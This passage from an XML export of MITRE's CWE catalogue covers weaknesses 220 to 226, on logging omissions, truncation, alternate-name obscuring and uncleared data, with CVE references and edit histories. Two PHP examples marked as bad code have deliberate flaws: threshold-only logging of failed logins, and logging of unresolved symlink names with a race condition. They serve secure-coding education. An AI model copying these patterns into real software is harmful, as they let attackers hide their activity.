				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-09-27</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-12-13</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-03-29</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-27</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-09-13</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations, References, Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples, References,
						Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2010-02-16">Path
						Traversal</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="220" Name="Sensitive Data Under FTP Root" Weakness_Abstraction="Variant" Status="Draft">
			      <Description>
				        <Description_Summary>The application stores sensitive data under the FTP document
					root with insufficient access control, which might make it accessible to
					untrusted parties.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>216</Relationship_Target_ID>
					          <!--Containment Errors (Container Errors)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>668</Relationship_Target_ID>
					          <!--Exposure of Resource to Wrong Sphere-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>895</Relationship_Target_ID>
					          <!--SFP Cluster: Information Leak-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Background_Details>
				        <Background_Detail>
					          <Text>Various Unix FTP servers require a password file that is under the FTP
						root, due to use of chroot.</Text>
				        </Background_Detail>
			      </Background_Details>
			      <Time_of_Introduction>
				        <Introductory_Phase>Operation</Introductory_Phase>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Technical_Impact>Read application
						data</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Phase>System Configuration</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Avoid storing information under the FTP root directory.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>System Configuration</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Access control permissions should be set to prevent reading/writing of
							sensitive files inside/outside of the FTP directory.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Sensitive Data Under FTP Root</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Background_Details, Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="221" Name="Information Loss or Omission" Weakness_Abstraction="Class" Status="Incomplete">
			      <Description>
				        <Description_Summary>The software does not record, or improperly records,
					security-relevant information that leads to an incorrect decision or hampers
					later analysis.</Description_Summary>
				        <Extended_Description>
					          <Text>This can be resultant, e.g. a buffer overflow might trigger a crash before
						the product can log the event.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>664</Relationship_Target_ID>
					          <!--Improper Control of a Resource Through its Lifetime-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>199</Relationship_Target_ID>
					          <!--Information Management Errors-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>906</Relationship_Target_ID>
					          <!--SFP Cluster: UI-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
				        <Introductory_Phase>Operation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Non-Repudiation</Consequence_Scope>
					          <Consequence_Technical_Impact>Hide activities</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Information loss or omission</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			
			      <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>81</CAPEC_ID>
            </Related_Attack_Pattern>
         </Related_Attack_Patterns>
         <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Description, Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="222" Name="Truncation of Security-relevant Information" Weakness_Abstraction="Base" Status="Draft">
			      <Description>
				        <Description_Summary>The application truncates the display, recording, or processing
					of security-relevant information in a way that can obscure the source or nature
					of an attack.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>221</Relationship_Target_ID>
					          <!--Information Loss or Omission-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>906</Relationship_Target_ID>
					          <!--SFP Cluster: UI-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
				        <Introductory_Phase>Operation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Non-Repudiation</Consequence_Scope>
					          <Consequence_Technical_Impact>Hide activities</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>The source of an attack will be difficult or impossible to determine.
							This can allow attacks to the system to continue without notice.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-0585</Observed_Example_Reference>
					          <Observed_Example_Description>Web browser truncates long sub-domains or paths,
						facilitating phishing.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2004-2032</Observed_Example_Reference>
					          <Observed_Example_Description>Bypass URL filter via a long URL with a large
						number of trailing hex-encoded space
						characters.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2003-0412</Observed_Example_Reference>
					          <Observed_Example_Description>Does not log complete URI of a long request
						(truncation).</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Truncation of Security-relevant Information</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Relationships</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="223" Name="Omission of Security-relevant Information" Weakness_Abstraction="Base" Status="Draft">
			      <Description>
				        <Description_Summary>The application does not record or display information that
					would be important for identifying the source or nature of an attack, or
					determining if an action is safe.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>221</Relationship_Target_ID>
					          <!--Information Loss or Omission-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>906</Relationship_Target_ID>
					          <!--SFP Cluster: UI-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
				        <Introductory_Phase>Operation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Non-Repudiation</Consequence_Scope>
					          <Consequence_Technical_Impact>Hide activities</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>The source of an attack will be difficult or impossible to determine.
							This can allow attacks to the system to continue without notice.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text> This code logs suspicious multiple login attempts. </Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>PHP</Code_Example_Language>
							              <Code>function login($userName,$password){</Code>
							              <Block>
								                <Code>if(authenticate($userName,$password)){</Code>
								                <Block>
									                  <Code>return True;</Code>
								                </Block>
								                <Code>}</Code>
								                <Code>else{</Code>
								                <Block>
									                  <Code>incrementLoginAttempts($userName);</Code>
									                  <Code>if(recentLoginAttempts($userName) &gt; 5){</Code>
									                  <Block>
										                    <Code>writeLog("Failed login attempt by User: " . $userName
											. " at " + date('r') );</Code>
									                  </Block>
									                  <Code>}</Code>
								                </Block>
								                <Code>}</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text> This code only logs failed login attempts when a certain limit is
							reached. If an attacker knows this limit, he or she can stop his attack
							from being discovered by avoiding the limit.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-1999-1029</Observed_Example_Reference>
					          <Observed_Example_Description>Login attempts not recorded if user disconnects
						before maximum number of tries.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-1839</Observed_Example_Reference>
					          <Observed_Example_Description>Sender's IP address not recorded in outgoing
						e-mail.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2000-0542</Observed_Example_Reference>
					          <Observed_Example_Description>Failed authentication attempt not recorded if
						later attempt succeeds.</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <References>
				        <Reference Reference_ID="REF-7">
					          <Reference_Author>Mark Dowd</Reference_Author>
					          <Reference_Author>John McDonald</Reference_Author>
					          <Reference_Author>Justin Schuh</Reference_Author>
					          <Reference_Title>The Art of Software Security Assessment</Reference_Title>
					          <Reference_Section>Chapter 2, "Accountability", Page 40.</Reference_Section>
					          <Reference_Edition>1st Edition</Reference_Edition>
					          <Reference_Publisher>Addison Wesley</Reference_Publisher>
					          <Reference_PubDate>2006</Reference_PubDate>
				        </Reference>
			      </References>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Omission of Security-relevant Information</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-07-27</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-03-29</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, References, Relationships</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="224" Name="Obscured Security-relevant Information by Alternate Name" Weakness_Abstraction="Base" Status="Incomplete">
			      <Description>
				        <Description_Summary>The software records security-relevant information according to
					an alternate name of the affected entity, instead of the canonical
					name.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>221</Relationship_Target_ID>
					          <!--Information Loss or Omission-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>906</Relationship_Target_ID>
					          <!--SFP Cluster: UI-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
				        <Introductory_Phase>Operation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Non-Repudiation</Consequence_Scope>
					          <Consequence_Scope>Access_Control</Consequence_Scope>
					          <Consequence_Technical_Impact>Hide activities</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Gain privileges / assume
						identity</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text> This code prints the contents of a file if a user has permission. </Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>PHP</Code_Example_Language>
							              <Code>function readFile($filename){</Code>
							              <Block>
								                <Code>$user = getCurrentUser();</Code>
								                <Code>$realFile = $filename;</Code>
								                <Code/>
								                <Comment>//resolve file if its a symbolic link</Comment>
								                <Code>if(is_link($filename)){</Code>
								                <Block>
									                  <Code>$realFile = readlink($filename);</Code>
								                </Block>
								                <Code>}</Code>
								                <Code/>
								                <Code>if(fileowner($realFile) == $user){</Code>
								                <Block>
									                  <Code>echo file_get_contents($realFile);</Code>
									                  <Code>return;</Code>
								                </Block>
								                <Code>}</Code>
								                <Code>else{</Code>
								                <Block>
									                  <Code>echo 'Access denied';</Code>
									                  <Code>writeLog($user . ' attempted to access the file '.
										$filename . ' on '. date('r'));</Code>
								                </Block>
								                <Code>}</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text> While the code logs a bad access attempt, it logs the user supplied
							name for the file, not the canonicalized file name. An attacker can
							obscure his target by giving the script the name of a link to the file
							he is attempting to access. Also note this code contains a race
							condition between the is_link() and readlink() functions
							(CWE-363).</Text>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-0725</Observed_Example_Reference>
					          <Observed_Example_Description>Attacker performs malicious actions on a hard link
						to a file, obscuring the real target file.</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <References>
				        <Reference Reference_ID="REF-11">
					          <Reference_Author>M. Howard</Reference_Author>
					          <Reference_Author>D. LeBlanc</Reference_Author>
					          <Reference_Title>Writing Secure Code</Reference_Title>
					          <Reference_Edition>2nd Edition</Reference_Edition>
					          <Reference_Publisher>Microsoft</Reference_Publisher>
					          <Reference_PubDate>2002</Reference_PubDate>
				        </Reference>
			      </References>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Obscured Security-relevant Information by Alternate
						Name</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-03-29</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated References, Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="225" Name="DEPRECATED (Duplicate): General Information Management Problems" Status="Deprecated" Weakness_Abstraction="Base">
			      <Description>
				        <Description_Summary>This weakness can be found at CWE-199.</Description_Summary>
			      </Description>
			      <Content_History>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-10-29</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="226" Name="Sensitive Information Uncleared Before Release" Weakness_Abstraction="Base" Status="Draft">
			      <Description>
				        <Description_Summary>The software does not fully clear previously used information
					in a data structure, file, or other resource, before making that resource
					available to a party in another control sphere.</Description_Summary>
				        <Extended_Description>
					          <Text>This typically results from new data that is not as long as the old data,
						which leaves portions of the old data still available. Equivalent errors can
						occur in other situations where the length of data is variable but the
						associated data structure is not. If memory is not cleared after use, it may
						allow unintended actors to read the data when the memory is reallocated.
					</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>200</Relationship_Target_ID>
					          <!--Information Exposure-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>459</Relationship_Target_ID>
					          <!--Incomplete Cleanup-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>CanAlsoBe</Relationship_Nature>
					          <Relationship_Target_ID>212</Relationship_Target_ID>
					          <!--Improper Cross-boundary Removal of Sensitive Data-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">631</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>633</Relationship_Target_ID>
					          <!--Weaknesses that Affect Memory-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">734</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>742</Relationship_Target_ID>
					          <!--CERT C Secure Coding Section 08 - Memory Management (MEM)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">711</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>729</Relationship_Target_ID>
					          <!--OWASP Top Ten 2004 Category A8 - Insecure Storage-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">868</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>876</Relationship_Target_ID>
					          <!--CERT C++ Secure Coding Section 08 - Memory Management (MEM)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
